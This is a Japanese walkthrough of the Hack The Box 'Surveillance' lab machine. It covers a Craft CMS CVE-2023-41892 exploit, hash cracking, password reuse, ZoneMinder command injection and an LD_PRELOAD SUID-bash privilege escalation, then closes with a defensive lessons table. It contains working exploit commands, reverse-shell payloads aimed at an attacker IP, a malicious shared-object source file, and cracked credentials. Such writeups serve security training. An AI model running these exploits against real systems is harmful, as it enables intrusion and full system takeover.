Hack The BoxのWriteup(Surveillance)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Surveillance — 全実行コマンド・実行結果レポート
Nmap
Craft CMS 検出
CVE-2023-41892
Imagick/MSL RCE
www-data shell
DBバックアップ窃取
admin SHA256
hashcat -m 1400
starcraft122490
SSH matthew
user.txt
ZoneMinder
daemonControl RCE
ZM_LD_PRELOAD
SUID bash
root.txt

ポートスキャン & hosts 設定

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.230.42
nmap -sV -sC -p 22,80 10.129.230.42
RESULT (実機ライブ確認)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux
BASH
curl -v http://10.129.230.42/
# → 302 Moved Temporarily, Location: http://surveillance.htb/
echo "10.129.230.42 surveillance.htb" | sudo tee -a /etc/hosts

Craft CMS の発見

BASH
curl -s http://surveillance.htb/ | grep -i "craft\|powered"
RESULT (実機ライブ確認)
Powered by <a href="https://github.com/craftcms/cms/tree/4.4.14">Craft CMS</a>
Craft CMS 4.4.14CVE-2023-41892 (PHP Object Injection, unauthenticated RCE) の対象バージョン。
PHASE 2

CVE-2023-41892 — Imagick/MSL 経由の RCE

PDF記載の手法 (ログポイズニング) は実機で不発

⚠️
実機での重要な発見: 公式ウォークスルーは「悪意ある User-Agent でリクエストログに PHP コードを書き込ませ、 \yii\rbac\PhpManager ガジェットの itemFile で そのログファイルを include() させる」という手法を使うが、この セッションの実機では Webシェルが設置されなかった (404のまま)。 原因は断定できていないが、Craft のログ出力タイミング/レベルが devMode 設定などに依存して環境ごとに異なる可能性がある。
NOTE
# PDF記載の手法 (このセッションでは動作せず):
curl http://surveillance.htb/index.php \
  -A '<?php `echo <base64>|base64 -d > /var/www/html/craft/web/shell.php`;?>'
curl -X POST http://surveillance.htb/index.php \
  --data-urlencode action=conditions/render \
  --data-urlencode configObject=craft\elements\conditions\ElementCondition \
  --data-urlencode 'config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"storage/logs/web-YYYY-MM-DD.log"}]}}'
# → shell.php は作成されず (404 Page Not Found)

代替手法: Imagick 拡張 + MSL (Magick Scripting Language)

NOTE
同一 CVE に対する別の攻撃チェーン (Rapid7 Metasploit モジュール
exploit/linux/http/craftcms_unauth_rce_cve_2023_41892 が実装) を使用。
1. FnStream ガジェットで phpinfo() を実行し upload_tmp_dir と
   DOCUMENT_ROOT を特定
2. Imagick コンストラクタに multipart で MSL ペイロード
   (caption:<?php @eval(...); ?> を書き込む XML) をアップロード
3. 2回目の Imagick インスタンス化 (vid:msl:<tmp>/php*) でその
   MSL を実行させ、DOCUMENT_ROOT に Webシェルを書き込む
BASH (Metasploit)
msfconsole -q -x "
use exploit/linux/http/craftcms_unauth_rce_cve_2023_41892
set RHOSTS 10.129.230.42
set RPORT 80
set SSL false
set VHOST surveillance.htb
set TARGET 1
set PAYLOAD cmd/unix/reverse_bash
set LHOST 10.10.15.201
set LPORT 4446
exploit"
RESULT (実機ライブ確認)
[*] Started reverse TCP handler on 10.10.15.201:4446
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing Unix Command for cmd/unix/reverse_bash
[+] Deleted /var/www/html/craft/web/zRWAZgQIz.php
[+] Deleted /tmp/phpDmSwCC
[*] Command shell session 1 opened (10.10.15.201:4446 -> 10.129.230.42:44084)
Craft CMS RCE 成功。 www-data としてシェル取得。 (ペイロード名がランダム生成のWebシェルを自動アップロード・実行し、 使用後は自動的に削除するため痕跡が残らない)
PHASE 3

Craft CMS バックアップから資格情報を奪取

DBバックアップの発見

SHELL (www-data)
ls -la /var/www/html/craft/storage/backups/
RESULT (実機ライブ確認)
-rw-r--r-- 1 root root 19918 Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql.zip

SQL ダンプから admin パスワードハッシュを抽出

SHELL
cd /tmp && unzip -o /var/www/html/craft/storage/backups/*.sql.zip
grep -a "INSERT INTO \`users\`" *.sql
RESULT (実機ライブ確認)
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B',
'admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec',
'2023-10-17 20:22:34', ... );
SHA256 パスワードハッシュを取得。

hashcat によるクラック

BASH
echo '39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec' > hash.txt
hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1400 hash.txt --show
RESULT (実機ライブ確認)
39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec:starcraft122490

Status...........: Cracked
Time.Started.....: 2 secs
Web管理者 / matthew SSH 認証情報
admin / matthew : starcraft122490
PHASE 4

SSH パスワード再利用 & user.txt

matthew として SSH ログイン

BASH
ssh matthew@surveillance.htb
# Password: starcraft122490
RESULT (実機ライブ確認)
matthew@surveillance:~$ whoami
matthew
matthew@surveillance:~$ cat user.txt
c162c9bd17176c0855a0a2fa2733dfd7
user.txt — /home/matthew/user.txt
c162c9bd17176c0855a0a2fa2733dfd7
PHASE 5

ZoneMinder daemonControl RCE

内部サービスの発見

SHELL (matthew)
ss -tlnp 2>/dev/null || netstat -ant
RESULT (実機ライブ確認)
tcp   0   0 127.0.0.1:8080   0.0.0.0:*   LISTEN
tcp   0   0 127.0.0.1:3306   0.0.0.0:*   LISTEN

ZoneMinder API 認証 (パスワード再利用) — パスのハマりどころ

⚠️
実機での重要な発見: 公式ウォークスルーは ZoneMinder が /zm/ サブパス配下 (/zm/api/host/login.json) で動作している前提だが、このインスタンスでは ZoneMinder が 8080 の ルート直下 (/api/host/login.json) で 直接動作していた。両方のパスを試す必要がある。
SHELL (matthewのSSHセッション経由でloopback到達)
curl -s -XPOST -d "user=admin&pass=starcraft122490" \
  http://127.0.0.1:8080/api/host/login.json
RESULT (実機ライブ確認)
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...",
 "access_token_expires":7200, "version":"1.36.32","apiversion":"2.0"}

daemonControl API のコマンドインジェクション

NOTE
ZoneMinder の HostController.php の daemonControl() 関数は
zmdc.pl $command $daemon_name を exec() に直接渡しており、
$command 部分にシェルコマンドを注入できる。
SHELL
# $(echo |base64 -d|bash) をURLエンコードし
# /$command 部分に埋め込む
curl -XGET "http://127.0.0.1:8080/api/host/daemonControl/zmdc.pl/%24%28echo%20\
<base64>%7Cbase64%20-d%7Cbash%29.json?token=<access_token>"
RESULT (実機ライブ確認)
connect to [10.10.15.201] from (UNKNOWN) [10.129.230.42] 50428
bash: cannot set terminal process group (983): Inappropriate ioctl for device
bash: no job control in this shell
zoneminder@surveillance:/usr/share/zoneminder/www/api/app/webroot$ id
uid=1001(zoneminder) gid=1001(zoneminder) groups=1001(zoneminder)
ZoneMinder daemonControl RCE 成功。 zoneminder ユーザーとしてシェル取得。
PHASE 6

ZM_LD_PRELOAD 悪用による SUID bash & root.txt

sudo 権限の確認

SHELL (zoneminder)
sudo -l
RESULT (実機ライブ確認)
User zoneminder may run the following commands on surveillance:
    (ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *
🚨
ZoneMinder の ZM_LD_PRELOAD Config 値を使うと、 zmdc.pl がデーモンを起動する際に任意の共有ライブラリを root 権限でプリロードさせられる。

SUID 付与ペイロードの作成 — コンパイルのハマりどころ

⚠️
実機での重要な発見: ターゲット上には gcc コマンド自体は存在するが、リンカ本体 ld が一切 インストールされていない (find / -name ld で見つかるのは カーネルヘッダのダミースクリプトのみ)。ターゲット上でのコンパイルは collect2: fatal error: cannot find 'ld' で必ず失敗するため、 Kali 側でローカルコンパイルし、HTTP 経由でアップロードする 必要がある。
C (shell.c)
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
  unsetenv("LD_PRELOAD");
  setgid(0);
  setuid(0);
  system("chmod u+s /bin/bash");
}
BASH (Kali側でローカルコンパイル)
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
python3 -m http.server 8890   # Kali側で配布
SHELL (ターゲット側でダウンロード)
curl -s -o /tmp/shell.so http://10.10.15.201:8890/shell.so
file /tmp/shell.so
RESULT (実機ライブ確認)
/tmp/shell.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, not stripped

ZM_LD_PRELOAD の設定 & デーモン再起動でトリガー

SHELL
grep -h -E 'ZM_DB_(USER|PASS|NAME|HOST)' /etc/zm/zm.conf
# → ZM_DB_USER=zmuser, ZM_DB_PASS=ZoneMinderPassword2023, ZM_DB_NAME=zm

mysql -uzmuser -pZoneMinderPassword2023 -h localhost zm \
  -e "UPDATE Config SET Value='/tmp/shell.so' WHERE Name='ZM_LD_PRELOAD';"

sudo /usr/bin/zmdc.pl shutdown zmdc
sudo /usr/bin/zmdc.pl startup zmdc
RESULT (実機ライブ確認)
Starting server

zoneminder@surveillance:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan  6  2022 /bin/bash
/bin/bash に SUID ビットが付与された。zmdc デーモン起動時に /tmp/shell.so がプリロードされ、_init() が root 権限で実行された証拠。

SUID bash で root.txt を取得

SHELL
/bin/bash -p -c "id; cat /root/root.txt"
RESULT (実機ライブ確認)
uid=1001(zoneminder) gid=1001(zoneminder) euid=0(root) groups=1001(zoneminder)
756fcb62cd1b954dde7d0cbbd998a31d
root.txt — /root/root.txt
756fcb62cd1b954dde7d0cbbd998a31d
SUMMARY

攻略サマリー & 教訓

使用した脆弱性

脆弱性対象影響深刻度利用方法
CVE-2023-41892 Craft CMS PHP Object Injection Craft CMS 4.4.14 未認証リモートコード実行 Critical Imagick拡張+MSL経由でDOCUMENT_ROOTにWebシェルを書き込み
Web CMS の自動バックアップ zip がWeb経由到達可能な場所に平文保存 /var/www/html/craft/storage/backups/ DB内容 (パスワードハッシュ含む) の窃取 High シェルからzipを取得・展開しSQLダンプを読み取り
弱いパスワードのSHA256ハッシュ + パスワード再利用 admin (Craft/ZoneMinder) / matthew (SSH) 横展開・権限昇格 High hashcat辞書攻撃でクラックし複数サービスへ再利用
ZoneMinder daemonControl API のコマンドインジェクション ZoneMinder 1.36.32 HostController.php 認証済みRCE Critical zmdc.pl呼び出しのdaemon名パラメータにシェルコマンドを注入
NOPASSWD sudo + ZM_LD_PRELOAD の任意ライブラリ設定 /usr/bin/zm*.pl (NOPASSWD sudo) root権限昇格 Critical DB経由でZM_LD_PRELOADを設定しSUID付与ライブラリをroot権限のデーモン起動時にロード

取得したフラグ

フラグパス
user.txt/home/matthew/user.txtc162c9bd17176c0855a0a2fa2733dfd7
root.txt/root/root.txt756fcb62cd1b954dde7d0cbbd998a31d

学んだ教訓 & 防御策

問題点防御策
PHPのオブジェクトインジェクションを許すガジェットチェーン (Imagick MSL含む) Craft CMS を修正版へアップデートする。ImageMagickのポリシー設定 (policy.xml) で MSL/危険なコーダーを無効化する。
DBバックアップがWebルート配下の到達可能な場所に平文で保存されている バックアップはWebルート外、またはアクセス制御された場所に保存する。定期バックアップの自動削除・暗号化も検討する。
同一パスワードを複数サービス (CMS管理者・OSユーザー・ZoneMinder) で使い回している サービスごとに一意で強固なパスワードを使用し、パスワードマネージャーで管理する。
認証済みユーザーからの入力を検証せず exec() に渡している (daemonControl) コマンド実行系APIではホワイトリスト方式でパラメータを厳格に検証する。シェルコマンド構築時はエスケープ処理を徹底する。
NOPASSWD sudo で環境変数注入が可能なプログラム (Perlスクリプト経由でLD_PRELOAD反映) を実行できる sudoers の設定は必要最小限のコマンド・引数に限定する。env_reset だけでなく !setenvsecure_path の徹底、アプリケーション側でのLD_PRELOAD等の危険な環境変数のサニタイズも検討する。
HackTheBox: Surveillance